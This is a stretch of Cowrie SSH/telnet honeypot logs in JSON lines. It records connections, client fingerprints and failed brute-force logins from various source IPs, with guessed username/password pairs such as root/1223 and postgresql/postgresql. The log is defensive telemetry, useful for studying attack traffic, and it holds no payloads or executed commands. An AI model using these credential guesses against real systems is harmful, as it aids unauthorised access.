{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:07.420132Z","src_ip":"43.130.31.151","session":"7d6e29df86bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1223","message":"login attempt [root/1223] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:07.736053Z","src_ip":"43.130.31.151","session":"7d6e29df86bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:08.808979Z","src_ip":"43.130.31.151","session":"7d6e29df86bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52832,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a4262bcd919","protocol":"telnet","message":"New connection: 192.119.13.58:52832 (10.17.0.5:23) [session: 3a4262bcd919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:09.816567Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"a017bbfa0a2c","protocol":"ssh","message":"New connection: 43.135.182.46:60600 (159.203.135.109:22) [session: a017bbfa0a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:10.851632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:10.856430Z","src_ip":"43.135.182.46","session":"a017bbfa0a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:10.925430Z","src_ip":"43.135.182.46","session":"a017bbfa0a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vj","message":"login attempt [root/vj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:11.231201Z","src_ip":"43.135.182.46","session":"a017bbfa0a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:12.302176Z","src_ip":"43.135.182.46","session":"a017bbfa0a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":53818,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db893f902a0","protocol":"ssh","message":"New connection: 209.99.184.143:53818 (159.203.135.109:22) [session: 0db893f902a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:16.443096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:16.448478Z","src_ip":"209.99.184.143","session":"0db893f902a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:16.540385Z","src_ip":"209.99.184.143","session":"0db893f902a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hassan","password":"hassan123","message":"login attempt [hassan/hassan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:16.944952Z","src_ip":"209.99.184.143","session":"0db893f902a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:18.039563Z","src_ip":"209.99.184.143","session":"0db893f902a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63187,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3c98bc2add4","protocol":"ssh","message":"New connection: 167.172.81.52:63187 (10.17.0.5:22) [session: d3c98bc2add4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:24.044497Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:24.084342Z","src_ip":"167.172.81.52","session":"d3c98bc2add4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:24.091684Z","src_ip":"167.172.81.52","session":"d3c98bc2add4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.155314207077026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:31.136643Z","src_ip":"192.119.13.58","session":"9273c6325e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":34516,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a99ae59cf78","protocol":"ssh","message":"New connection: 202.79.29.108:34516 (159.203.135.109:22) [session: 2a99ae59cf78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:34.347830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:34.353170Z","src_ip":"202.79.29.108","session":"2a99ae59cf78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:34.617584Z","src_ip":"202.79.29.108","session":"2a99ae59cf78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:35.707923Z","src_ip":"202.79.29.108","session":"2a99ae59cf78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:36.975259Z","src_ip":"202.79.29.108","session":"2a99ae59cf78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.68095827102661,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:45.497447Z","src_ip":"192.119.13.58","session":"3a4262bcd919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":50926,"dst_ip":"159.203.135.109","dst_port":22,"session":"105664b03690","protocol":"ssh","message":"New connection: 72.17.34.38:50926 (159.203.135.109:22) [session: 105664b03690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:56.389557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:56.394295Z","src_ip":"72.17.34.38","session":"105664b03690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:56.429682Z","src_ip":"72.17.34.38","session":"105664b03690","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:56.602977Z","src_ip":"72.17.34.38","session":"105664b03690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:43:57.640928Z","src_ip":"72.17.34.38","session":"105664b03690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":60592,"dst_ip":"159.203.135.109","dst_port":22,"session":"0abecc1acf58","protocol":"ssh","message":"New connection: 209.99.184.143:60592 (159.203.135.109:22) [session: 0abecc1acf58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:16.667001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:16.672959Z","src_ip":"209.99.184.143","session":"0abecc1acf58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:16.764714Z","src_ip":"209.99.184.143","session":"0abecc1acf58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kt","password":"kt@2025","message":"login attempt [kt/kt@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:17.165146Z","src_ip":"209.99.184.143","session":"0abecc1acf58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":49514,"dst_ip":"159.203.135.109","dst_port":22,"session":"5018a368eea5","protocol":"ssh","message":"New connection: 103.77.242.62:49514 (159.203.135.109:22) [session: 5018a368eea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:17.401377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:17.406100Z","src_ip":"103.77.242.62","session":"5018a368eea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:17.647826Z","src_ip":"103.77.242.62","session":"5018a368eea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:18.258951Z","src_ip":"209.99.184.143","session":"0abecc1acf58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"igor","message":"login attempt [root/igor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:18.373587Z","src_ip":"103.77.242.62","session":"5018a368eea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:19.618215Z","src_ip":"103.77.242.62","session":"5018a368eea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":34848,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0ab35d5584c","protocol":"ssh","message":"New connection: 43.135.182.46:34848 (159.203.135.109:22) [session: b0ab35d5584c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:24.028981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:24.033674Z","src_ip":"43.135.182.46","session":"b0ab35d5584c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:24.102499Z","src_ip":"43.135.182.46","session":"b0ab35d5584c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1223","message":"login attempt [root/1223] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:24.408834Z","src_ip":"43.135.182.46","session":"b0ab35d5584c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:25.481848Z","src_ip":"43.135.182.46","session":"b0ab35d5584c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":36842,"dst_ip":"10.17.0.5","dst_port":22,"session":"aab370637405","protocol":"ssh","message":"New connection: 103.149.170.125:36842 (10.17.0.5:22) [session: aab370637405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:26.730102Z"}
